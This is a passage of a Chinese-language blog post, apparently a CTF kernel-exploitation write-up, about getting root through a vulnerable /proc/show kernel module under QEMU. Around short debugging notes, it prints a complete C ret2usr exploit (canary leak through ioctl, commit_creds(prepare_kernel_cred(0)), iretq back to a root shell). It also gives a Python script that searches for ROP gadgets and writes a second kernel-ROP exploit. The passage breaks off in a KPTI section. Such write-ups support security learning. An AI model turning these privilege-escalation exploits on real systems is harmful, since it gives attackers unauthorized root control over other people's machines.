src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1319\"  sizes=\"auto, (max-width: 612px) 100vw, 612px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u601d\u8def\u5c31\u662f\u5148\u6cc4\u9732canary\uff0c\u7136\u540e\u6253ROP\uff0ckernel\u7684ROP\u94fe\u4e00\u822c\u662fcommit_creds(prepare_kernel_cred)\uff0c\u6700\u540e\u8f6c\u5230\u7528\u6237\u6001\u53bb\u6267\u884cexecve(sh)\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u5176\u5b9e\u5728\u6bd4\u8f83\u8fdc\u53e4\u7248\u672c\u4e2d\u7531\u4e8e\u6ca1\u6709SMEP\u548cSMAP\uff0c\u53ef\u4ee5\u4e0d\u7528\u5728\u5185\u6838\u6001\u53bb\u51d1gadget\u6253ROP\uff0c\u76f4\u63a5\u8df3\u5230\u7528\u6237\u6001\u7684\u4ee3\u7801\u53bb\u6267\u884c\uff0c\u5373ret2usr\uff0c\u8fd9\u79cd\u65b9\u6cd5\u4f1a\u66f4\u7b80\u5355\u4e00\u4e9b\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E8%B0%83%E8%AF%95\"><\/span>\u8c03\u8bd5<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u4e00\u822c\u662f\u628aexp\u5148\u7f16\u8bd1\u51fa\u6765\uff08\u9700\u8981\u9759\u6001\uff0c\u56e0\u4e3a\u4e3b\u673a\u548c\u9776\u673a\u7684\u5e93\u7248\u672c\u53ef\u80fd\u4e0d\u4e00\u6837\uff09\uff0c\u7136\u540e\u653e\u5230rootfs\u4e2d\uff0c\u6700\u540e\u901a\u8fc7\u4e0b\u8ff0\u547d\u4ee4\u6253\u5305\u518drun.sh\u542f\u52a8\uff0c\u5c31\u53ef\u4ee5\u5728qemu\u865a\u62df\u673a\u91cc\u9762\u8dd1exp\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find . -print0 | cpio --null -ov --format=newc &gt; ..\/rootfs.cpio<\/code><\/pre>\n\n\n\n<p>\u8c03\u8bd5\u9996\u5148\u9700\u8981\u4f7f\u7528root\u6743\u9650\u6765\u8dd1gdb\uff0c\u4e0d\u7136\u4f1aNX\u6743\u9650\u62a5\u9519\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo pwndbg .\/vmlinux<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8fde\u63a5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>target remote localhost:1234<\/code><\/pre>\n\n\n\n<p>\u5f00\u542fkaslr\u7684\u60c5\u51b5\u4e0b\uff0c\u9700\u8981\u5728qemu\u91cc\u9762\u4f7f\u7528cat \/sys\/module\/show\/sections\/.text\u627e\u57fa\u5740\uff0c\u7136\u540e\u5728gdb\u91cc\u9762\u901a\u8fc7add-symbol-file .\/show.ko 0xffffffffc0296000\uff0c\u624d\u80fd\u6210\u529f\u7ed9\u76ee\u6807\u51fd\u6570\u6253\u4e0a\u65ad\u70b9\uff0c\u53ef\u4ee5\u5728run.sh\u91cc\u9762\u628akaslr\u6539\u6210nokaslr\uff0c\u65b9\u4fbf\u8c03\u8bd5<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8\"><\/span>\u6f0f\u6d1e\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%97%A0%E4%BF%9D%E6%8A%A4\"><\/span>\u65e0\u4fdd\u62a4<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<h6 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%95%E4%B8%80_ret2usr\"><\/span>\u65b9\u6cd5\u4e00 ret2usr<span class=\"ez-toc-section-end\"><\/span><\/h6>\n\n\n\n<p>\u7531\u4e8e\u9898\u76ee\u901a\u8fc7cat \/proc\/kallsyms &gt; \/tmp\/kallsyms\u628a\u51fd\u6570\u5730\u5740\u90fd\u590d\u5236\u5230\u4e86\/tmp\/kallsyms\uff0c\u6240\u4ee5\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6\u51fd\u6570\u5730\u5740\uff0c\u51cf\u53bb\u5728vmlinux\u7684\u5730\u5740\u5c31\u80fd\u5f97\u5230kaslr\u7684\u504f\u79fb\uff0c\u7ed9gadget\u52a0\u4e0a\u8fd9\u4e2a\u504f\u79fb\u5c31\u662fgadget\u7684\u771f\u5b9e\u5730\u5740\uff08\u5f53\u7136\uff0cret2usr\u4e0d\u9700\u8981gadget\uff09\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u6cc4\u9732canary\uff0c\u8bfb\u53d6\u51fd\u6570\u5730\u5740\uff0c\u7136\u540e\u52ab\u6301\u5185\u6838\u6808\u8fd4\u56de\u5730\u5740\u5230\u7528\u6237\u6001\u6267\u884c\u5e03\u7f6e\u597d\u7684\u63d0\u6743\u51fd\u6570\u5373\u53ef\u3002<\/p>\n\n\n\n<p>\u53c2\u8003ctfwiki<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;sys\/stat.h&gt;\n\n\/\/ ==========================================\n\/\/    Helper Macros\n\/\/ ==========================================\n#define SUCCESS_MSG(msg)    \"\\033&#91;32m\\033&#91;1m\" msg \"\\033&#91;0m\"\n#define INFO_MSG(msg)       \"\\033&#91;34m\\033&#91;1m\" msg \"\\033&#91;0m\"\n#define ERROR_MSG(msg)      \"\\033&#91;31m\\033&#91;1m\" msg \"\\033&#91;0m\"\n\n\/\/ ==========================================\n\/\/    Global Variables\n\/\/ ==========================================\nunsigned long user_cs, user_ss, user_rflags, user_sp;\nunsigned long prepare_kernel_cred_addr;\nunsigned long commit_creds_addr;\n\n\/\/ \u4fdd\u5b58\u7528\u6237\u6001\u73b0\u573a\uff0c\u4f9b iretq \u8fd4\u56de\u4f7f\u7528\nvoid save_status(void){\n    __asm__ volatile (\n        \"mov user_cs, cs;\"\n        \"mov user_ss, ss;\"\n        \"mov user_sp, rsp;\"\n        \"pushf;\"\n        \"pop user_rflags;\"\n    );\n    puts(SUCCESS_MSG(\"&#91;*] Status has been saved.\"));\n}\n\n\/\/ \u63d0\u6743\u6210\u529f\u540e\u7684 Shell \u51fd\u6570\nvoid get_root_shell(void){\n    if(getuid()) {\n        puts(ERROR_MSG(\"&#91;x] Failed to get the root!\"));\n        exit(EXIT_FAILURE);\n    }\n    puts(SUCCESS_MSG(\"&#91;+] Successful to get the root.\"));\n    puts(INFO_MSG(\"&#91;*] Execve root shell now...\"));\n    system(\"\/bin\/sh\");\n    exit(EXIT_SUCCESS);\n}\n\n\/\/ ==========================================\n\/\/    Ret2Usr Payload (Ring 0 \u6267\u884c\u7684\u4ee3\u7801)\n\/\/ ==========================================\n\/\/ \u5b9a\u4e49\u51fd\u6570\u6307\u9488\u7c7b\u578b\ntypedef void* (*prepare_kernel_cred_t)(void *);\ntypedef int (*commit_creds_t)(void *);\n\nvoid ret2usr_attack(void){\n    \/\/ 1. \u5728\u5185\u6838\u6001\u76f4\u63a5\u8c03\u7528\u51fd\u6570\u63d0\u6743\n    \/\/ \u7b49\u540c\u4e8e commit_creds(prepare_kernel_cred(NULL))\n    prepare_kernel_cred_t pkc = (prepare_kernel_cred_t) prepare_kernel_cred_addr;\n    commit_creds_t cc = (commit_creds_t) commit_creds_addr;\n    \n    cc(pkc(NULL));\n\n    \/\/ 2. \u6062\u590d\u7528\u6237\u6001\u4e0a\u4e0b\u6587 (Swapgs + Iretq)\n    \/\/ \u6ce8\u610f\uff1a\u8fd9\u91cc\u6ca1\u6709 sub rax, 8\uff0c\u56e0\u4e3a\u76f4\u63a5\u6062\u590d\u539f\u59cb sp \u901a\u5e38\u66f4\u7a33\u5b9a\n    __asm__ volatile(\n        \"swapgs;\"\n        \"mov rax, user_ss;\"\n        \"push rax;\"\n        \"mov rax, user_sp;\"\n        \"push rax;\"\n        \"mov rax, user_rflags;\"\n        \"push rax;\"\n        \"mov rax, user_cs;\"\n        \"push rax;\"\n        \"lea rax, get_root_shell;\"\n        \"push rax;\"\n        \"iretq;\"\n    );\n}\n\n\/\/ ==========================================\n\/\/    Main Exploitation\n\/\/ ==========================================\nint main(int argc, char ** argv){\n    int fd;\n    char buf&#91;0x1000];\n    unsigned long canary;\n    unsigned long rop_chain&#91;0x100]; \/\/ \u7f13\u51b2\u533a\n\n    save_status();\n\n    \/\/ 1. \u6253\u5f00\u8bbe\u5907 (\u4fee\u6b63\u4e3a \/proc\/show)\n    fd = open(\"\/proc\/show\", O_RDWR);\n    if(fd &lt; 0) {\n        \/\/ \u517c\u5bb9\u6027\u5c1d\u8bd5\n        fd = open(\"\/proc\/core\", O_RDWR);\n        if(fd &lt; 0) {\n            puts(ERROR_MSG(\"&#91;x] Failed to open \/proc\/show !\"));\n            exit(EXIT_FAILURE);\n        }\n    }\n\n    \/\/ 2. \u83b7\u53d6\u5185\u6838\u51fd\u6570\u5730\u5740 (\u4ece kallsyms)\n    FILE *ksyms = fopen(\"\/tmp\/kallsyms\", \"r\");\n    if(!ksyms) {\n        puts(ERROR_MSG(\"&#91;-] Failed to open \/tmp\/kallsyms\"));\n        return -1;\n    }\n    \n    char sym_name&#91;256];\n    unsigned long sym_addr;\n    char type; \/\/ kallsyms \u683c\u5f0f: addr type name\n    \n    while(fscanf(ksyms, \"%lx %c %s\", &amp;sym_addr, &amp;type, sym_name) != EOF) {\n        if(!strcmp(sym_name, \"prepare_kernel_cred\")) {\n            prepare_kernel_cred_addr = sym_addr;\n            printf(INFO_MSG(\"&#91;+] prepare_kernel_cred: %lx\\n\"), prepare_kernel_cred_addr);\n        }\n        else if(!strcmp(sym_name, \"commit_creds\")) {\n            commit_creds_addr = sym_addr;\n            printf(INFO_MSG(\"&#91;+] commit_creds: %lx\\n\"), commit_creds_addr);\n        }\n    }\n    fclose(ksyms);\n\n    if(!prepare_kernel_cred_addr || !commit_creds_addr) {\n        puts(ERROR_MSG(\"&#91;-] Symbol not found!\"));\n        return -1;\n    }\n\n    \/\/ 3. \u6cc4\u9732 Canary\n    puts(INFO_MSG(\"&#91;*] Reading canary...\"));\n    \/\/ set offset 64\n    ioctl(fd, 0x6677889C, 64);\n    \/\/ read\n    ioctl(fd, 0x6677889B, buf);\n    canary = ((unsigned long*) buf)&#91;0];\n    printf(SUCCESS_MSG(\"&#91;+] Got Canary: %lx\\n\"), canary);\n\n    \/\/ 4. \u6784\u9020 Payload\n    \/\/ \u521d\u59cb\u5316\u7f13\u51b2\u533a\uff0c\u9632\u6b62\u5783\u573e\u6570\u636e\u5e72\u6270\n    memset(rop_chain, 0, sizeof(rop_chain));\n\n    \/\/ &#91;0-7] Padding (64 bytes)\n    for(int i=0; i&lt;8; i++) rop_chain&#91;i] = canary; \/\/ \u7528canary\u586b\u5145padding\u4e5f\u884c\n\n    \/\/ &#91;8] Canary (Offset 64)\n    rop_chain&#91;8] = canary;\n\n    \/\/ &#91;9] Saved RBP (Offset 72)\n    rop_chain&#91;9] = 0xdeadbeef; \/\/ \u586b\u5145\u4e00\u4e2a\u975e\u96f6\u503c\uff0c\u9632\u6b62 pop rbp \u51fa\u9519\n\n    \/\/ &#91;10] RIP (Offset 80) -&gt; \u8df3\u8f6c\u5230\u7528\u6237\u6001\u51fd\u6570\n    rop_chain&#91;10] = (unsigned long) ret2usr_attack;\n\n    \/\/ 5. \u89e6\u53d1\u6f0f\u6d1e\n    puts(INFO_MSG(\"&#91;*] Triggering Ret2Usr...\"));\n    write(fd, rop_chain, 0x800);\n    \/\/ \u6574\u6570\u6ea2\u51fa\n    ioctl(fd, 0x6677889A, 0xffffffffffff0100);\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"405\" height=\"191\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1322\"  sizes=\"auto, (max-width: 405px) 100vw, 405px\" \/><\/div><\/figure>\n\n\n\n<h6 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%95%E4%BA%8C_kernel_rop\"><\/span>\u65b9\u6cd5\u4e8c kernel rop<span class=\"ez-toc-section-end\"><\/span><\/h6>\n\n\n\n<p>\u8ddfret2usr\u7684\u533a\u522b\u5c31\u662f\u5f97\u5728\u5185\u6838\u91cc\u9762\u7528gadget\u51d1rop\u94fe\uff0c\u4e5f\u6bd4\u8f83\u7b80\u5355\uff0c\u76f4\u63a5\u7ed9\u51fa\u81ea\u52a8\u5316\u627egadget\u751f\u6210exp\u7684\u811a\u672c\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\nimport os\nimport sys\nimport re\nimport subprocess\n\n# ================= \u914d\u7f6e =================\nBINARY = \".\/vmlinux\"\nGADGET_FILE = \".\/ropgadgets\"\nEXP_FILE = \"exp.c\"\nSTATIC_BASE = 0xffffffff81000000  # \u5185\u6838\u9759\u6001\u57fa\u5740\n\n# ================= 1. \u81ea\u52a8\u8fd0\u884c ROPgadget =================\ndef generate_gadgets():\n    if not os.path.exists(BINARY):\n        # \u5982\u679c\u6ca1\u6709 vmlinux\uff0c\u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u6709 ropgadgets \u6587\u4ef6\n        if os.path.exists(GADGET_FILE):\n            return\n        print(f\"&#91;-] \u9519\u8bef: \u627e\u4e0d\u5230\u5185\u6838\u6587\u4ef6 {BINARY} \u4e14\u6ca1\u6709\u73b0\u6210\u7684 {GADGET_FILE}\")\n        sys.exit(1)\n\n    if os.path.exists(GADGET_FILE):\n        print(f\"&#91;*] \u68c0\u6d4b\u5230 {GADGET_FILE} \u5df2\u5b58\u5728\uff0c\u8df3\u8fc7\u751f\u6210\u6b65\u9aa4 (\u4f7f\u7528\u73b0\u6709\u6587\u4ef6)\u3002\")\n        print(\"    (\u5982\u679c\u9700\u8981\u91cd\u65b0\u5206\u6790\uff0c\u8bf7\u5148\u5220\u9664\u8be5\u6587\u4ef6)\")\n        return\n\n    print(f\"&#91;*] \u6b63\u5728\u6267\u884c ROPgadget \u5206\u6790 {BINARY} ...\")\n    print(\"    \u8fd9\u53ef\u80fd\u9700\u8981\u51e0\u5206\u949f\uff0c\u8bf7\u8010\u5fc3\u7b49\u5f85...\")\n    \n    try:\n        with open(GADGET_FILE, \"w\") as outfile:\n            subprocess.run(\n                &#91;\"ROPgadget\", \"--binary\", BINARY], \n                stdout=outfile, \n                check=True\n            )\n        print(f\"&#91;+] \u5206\u6790\u5b8c\u6210\uff01\u7ed3\u679c\u5df2\u4fdd\u5b58\u5230 {GADGET_FILE}\")\n    except FileNotFoundError:\n        print(\"&#91;-] \u9519\u8bef: \u672a\u627e\u5230 'ROPgadget' \u547d\u4ee4\u3002\u8bf7\u5148\u5b89\u88c5: pip install ropgadget\")\n        sys.exit(1)\n    except subprocess.CalledProcessError as e:\n        print(f\"&#91;-] ROPgadget \u6267\u884c\u5931\u8d25: {e}\")\n        sys.exit(1)\n\n# ================= 2. \u641c\u7d22 Gadget =================\ndef get_offset(content, pattern, name):\n    # \u79fb\u9664\u989c\u8272\u4ee3\u7801\n    clean_content = re.sub(r'\\x1b\\&#91;&#91;0-9;]*m', '', content)\n    \n    matches = &#91;]\n    # \u904d\u5386\u6bcf\u4e00\u884c\u5bfb\u627e\u5339\u914d\n    for line in clean_content.splitlines():\n        # \u683c\u5f0f\u901a\u5e38\u4e3a: 0xaddress : instruction\n        m = re.search(r'(0x&#91;0-9a-fA-F]+)\\s*:\\s*(.*)', line)\n        if m:\n            addr = int(m.group(1), 16)\n            inst = m.group(2)\n            # \u4f7f\u7528\u6b63\u5219\u5339\u914d\u6307\u4ee4\n            if re.search(pattern, inst):\n                matches.append((addr, inst))\n    \n    if not matches:\n        print(f\"&#91;-] \u672a\u627e\u5230 Gadget: {name}\")\n        return None\n    \n    # \u7b56\u7565: \u627e\u6307\u4ee4\u957f\u5ea6\u6700\u77ed\u7684\n    best_addr, best_inst = min(matches, key=lambda x: len(x&#91;1]))\n    offset = best_addr - STATIC_BASE\n    print(f\"&#91;+] \u627e\u5230 {name:&lt;15}: {hex(best_addr)} (offset: {hex(offset)})\")\n    print(f\"    \u6307\u4ee4: {best_inst}\")\n    return offset\n\n# ================= 3. \u4e3b\u903b\u8f91 =================\ndef main():\n    # \u6b65\u9aa4 1: \u751f\u6210\u6587\u4ef6\n    generate_gadgets()\n    \n    # \u6b65\u9aa4 2: \u8bfb\u53d6\u6587\u4ef6\n    print(f\"&#91;*] \u6b63\u5728\u89e3\u6790 {GADGET_FILE} ...\")\n    try:\n        with open(GADGET_FILE, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:\n            content = f.read()\n    except FileNotFoundError:\n        print(f\"&#91;-] \u65e0\u6cd5\u6253\u5f00 {GADGET_FILE}\")\n        return\n\n    # \u6b65\u9aa4 3: \u641c\u7d22\u5173\u952e Gadgets\n    # \u3010\u4fee\u590d\u70b9\u3011\uff1a\u8fd9\u91cc\u52a0\u4e0a\u4e86 content \u53c2\u6570\n    \n    # pop rdi ; ret\n    off_pop_rdi = get_offset(content, r\"^pop rdi ; ret\", \"pop rdi\")\n    \n    # mov rdi, rax (\u7a33\u5b9a\u7248: \u5e26 pop rbp \u7b49\u526f\u4f5c\u7528)\n    off_mov = get_offset(content, r\"mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret\", \"mov rdi, rax\")\n    \n    # swapgs (\u4f18\u5148\u627e swapgs ; popfq ; ret)\n    off_swapgs = get_offset(content, r\"swapgs ; popfq ; ret\", \"swapgs\")\n    if not off_swapgs:\n        print(\"&#91;!] \u672a\u627e\u5230 swapgs ; popfq\uff0c\u5c1d\u8bd5 swapgs ; ret\")\n        off_swapgs = get_offset(content, r\"swapgs ; ret\", \"swapgs\")\n    \n    # iretq\n    off_iretq = get_offset(content, r\"^iretq\", \"iretq\")\n\n    # \u68c0\u67e5\u662f\u5426\u5168\u90e8\u627e\u5230\n    if None in &#91;off_pop_rdi, off_mov, off_swapgs, off_iretq]:\n        print(\"&#91;-] \u9519\u8bef: \u7f3a\u5c11\u5fc5\u8981\u7684 Gadget\uff0c\u65e0\u6cd5\u81ea\u52a8\u751f\u6210\u5b8c\u6574 EXP\u3002\")\n        sys.exit(1)\n\n    # \u6b65\u9aa4 4: \u751f\u6210 exp.c\n    print(f\"&#91;*] \u6b63\u5728\u751f\u6210 {EXP_FILE} ...\")\n    \n    # C \u4ee3\u7801\u6a21\u677f\n    c_template = \"\"\"#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;sys\/stat.h&gt;\n\n\/\/ ==========================================\n\/\/    Auto-Generated Gadget Offsets\n\/\/ ==========================================\nunsigned long off_pop_rdi       = %d;\nunsigned long off_mov_rdi_rax   = %d; \/\/ mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret\nunsigned long off_swapgs        = %d; \/\/ swapgs ; popfq ; ret\nunsigned long off_iretq         = %d;\n\n\/\/ ==========================================\n\/\/    Global Status\n\/\/ ==========================================\nunsigned long user_cs, user_ss, user_rflags, user_sp;\n\nvoid save_status() {\n    __asm__(\"mov user_cs, cs;\"\n            \"mov user_ss, ss;\"\n            \"mov user_sp, rsp;\"\n            \"pushf;\"\n            \"pop user_rflags;\"\n            );\n    puts(\"&#91;+] User status saved.\");\n}\n\nvoid get_shell() {\n    if (getuid() == 0) {\n        puts(\"&#91;+] Rooted! Spawning shell...\");\n        system(\"\/bin\/sh\");\n    } else {\n        printf(\"&#91;-] Exploit failed. uid: %%d\\\\n\", getuid());\n    }\n    exit(0);\n}\n\nunsigned long get_addr(char *name) {\n    FILE *f = fopen(\"\/tmp\/kallsyms\", \"r\");\n    char buf&#91;256];\n    unsigned long addr = 0;\n    if (!f) return 0;\n    while (fgets(buf, 256, f)) {\n        if (strstr(buf, name)) {\n            sscanf(buf, \"%%lx\", &amp;addr);\n            break;\n        }\n    }\n    fclose(f);\n    return addr;\n}\n\nint main() {\n    save_status();\n    \n    int fd = open(\"\/proc\/show\", O_RDWR);\n    if (fd &lt; 0) fd = open(\"\/proc\/core\", O_RDWR);\n    if (fd &lt; 0) {\n        perror(\"&#91;-] Open device failed\");\n        exit(1);\n    }\n\n    \/\/ 1. \u83b7\u53d6\u5185\u6838\u5730\u5740\n    unsigned long startup_64 = get_addr(\"startup_64\");\n    unsigned long prepare_kernel_cred = get_addr(\"prepare_kernel_cred\");\n    unsigned long commit_creds = get_addr(\"commit_creds\");\n    \n    unsigned long kernel_base = 0xffffffff81000000;\n    if (startup_64 != 0) {\n        kernel_base = startup_64;\n        printf(\"&#91;+] KASLR detected. Base: 0x%%lx\\\\n\", kernel_base);\n    } else {\n        printf(\"&#91;!] No KASLR. Using static: 0x%%lx\\\\n\", kernel_base);\n    }\n\n    \/\/ 2. \u8ba1\u7b97\u8fd0\u884c\u65f6 Gadget \u5730\u5740\n    unsigned long g_pop_rdi     = kernel_base + off_pop_rdi;\n    unsigned long g_mov_rdi_rax = kernel_base + off_mov_rdi_rax;\n    unsigned long g_swapgs      = kernel_base + off_swapgs;\n    unsigned long g_iretq       = kernel_base + off_iretq;\n\n    printf(\"&#91;+] prepare_kernel_cred: 0x%%lx\\\\n\", prepare_kernel_cred);\n    printf(\"&#91;+] commit_creds: 0x%%lx\\\\n\", commit_creds);\n\n    \/\/ 3. \u6cc4\u9732 Canary\n    ioctl(fd, 0x6677889C, 64);\n    char buf&#91;64] = {0};\n    ioctl(fd, 0x6677889B, buf);\n    unsigned long canary = ((unsigned long *)buf)&#91;0];\n    printf(\"&#91;+] Leaked Canary: 0x%%lx\\\\n\", canary);\n\n    \/\/ 4. \u6784\u9020 Payload\n    unsigned long payload&#91;256];\n    int i = 0;\n    \n    \/\/ &#91;0-63] Padding\n    for(int j=0; j&lt;8; j++) payload&#91;i++] = canary;\n\n    \/\/ &#91;64-71] Canary\n    payload&#91;i++] = canary;\n    \n    \/\/ &#91;72-79] Saved RBP (\u65e0\u9700\u586b\u5145 0, \u76f4\u63a5\u63a5 RBP)\n    payload&#91;i++] = 0xdeadbeef;\n\n    \/\/ --- ROP Chain ---\n    \n    \/\/ Step 1: prepare_kernel_cred(0)\n    payload&#91;i++] = g_pop_rdi;\n    payload&#91;i++] = 0;\n    payload&#91;i++] = prepare_kernel_cred;\n\n    \/\/ Step 2: mov rdi, rax (\u7a33\u5b9a\u7248)\n    \/\/ Gadget: mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret\n    payload&#91;i++] = g_mov_rdi_rax;\n    payload&#91;i++] = 0; \/\/ dummy rbp\n    payload&#91;i++] = 0; \/\/ dummy r12\n    \n    \/\/ Step 3: commit_creds(rdi)\n    payload&#91;i++] = commit_creds;\n\n    \/\/ Step 4: Return to user\n    \/\/ Gadget: swapgs ; popfq ; ret\n    payload&#91;i++] = g_swapgs;\n    payload&#91;i++] = 0; \/\/ dummy popfq\n    \n    payload&#91;i++] = g_iretq;\n    payload&#91;i++] = (unsigned long)get_shell;\n    payload&#91;i++] = user_cs;\n    payload&#91;i++] = user_rflags;\n    payload&#91;i++] = user_sp;\n    payload&#91;i++] = user_ss;\n\n    \/\/ 5. \u89e6\u53d1\n    printf(\"&#91;!] Triggering overflow...\\\\n\");\n    write(fd, payload, i * 8);\n    ioctl(fd, 0x6677889A, 0xffffffffffff0100);\n\n    return 0;\n}\n\"\"\"\n    # \u586b\u5145\u53d8\u91cf\n    final_exp = c_template % (off_pop_rdi, off_mov, off_swapgs, off_iretq)\n    \n    with open(EXP_FILE, \"w\") as f:\n        f.write(final_exp)\n\n    print(f\"\\n&#91;SUCCESS] {EXP_FILE} \u5df2\u751f\u6210\uff01\")\n    print(f\"\u7f16\u8bd1\u547d\u4ee4: gcc {EXP_FILE} -o exp -static -masm=intel\")\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"733\" height=\"371\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1324\"  sizes=\"auto, (max-width: 733px) 100vw, 733px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"443\" height=\"175\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1323\"  sizes=\"auto, (max-width: 443px) 100vw, 443px\" \/><\/div><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%BC%80%E5%90%AFKPTI%E4%BF%9D%E6%8A%A4\"><\/span>\u5f00\u542fKPTI\u4fdd\u62a4<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<h6 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%95%E4%B8%80_ret2usr-2\"><\/span>\u65b9\u6cd5\u4e00 ret2usr<span class=\"ez-toc-section-end\"><\/span><\/h6>\n\n\n\n<p>\u663e\u7136\uff0c\u7531\u4e8eret2usr\u8981\u6c42\u5728\u5185\u6838\u6001\u6267\u884c\u7528\u6237\u6001\u4ee3\u7801\uff0c\u5f00\u542fKPTI\u540eret2usr\u5c31\u7528\u4e0d\u4e86\u4e86\u3002<\/p>\n\n\n\n<h6 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%95%E4%BA%8C_kernel_rop-2\"><\/span>\u65b9\u6cd5\u4e8c kernel rop<span class=\"ez-toc-section-end\"><\/span><\/h6>\n\n\n\n<p>run.sh(-cpu kvm64 \u5c31\u4f1a\u9ed8\u8ba4\u542f\u52a8KPTI):<\/p>\n\n\n\n<p>qemu-system-x86_64 \\<br>-m 500M \\<br>-cpu kvm64 \\<br>-kernel .\/bzImage \\<br>-initrd .\/rootfs.cpio \\<br>-append &#8220;root=\/dev\/ram rw console=ttyS0 oops=panic panic=0 quiet 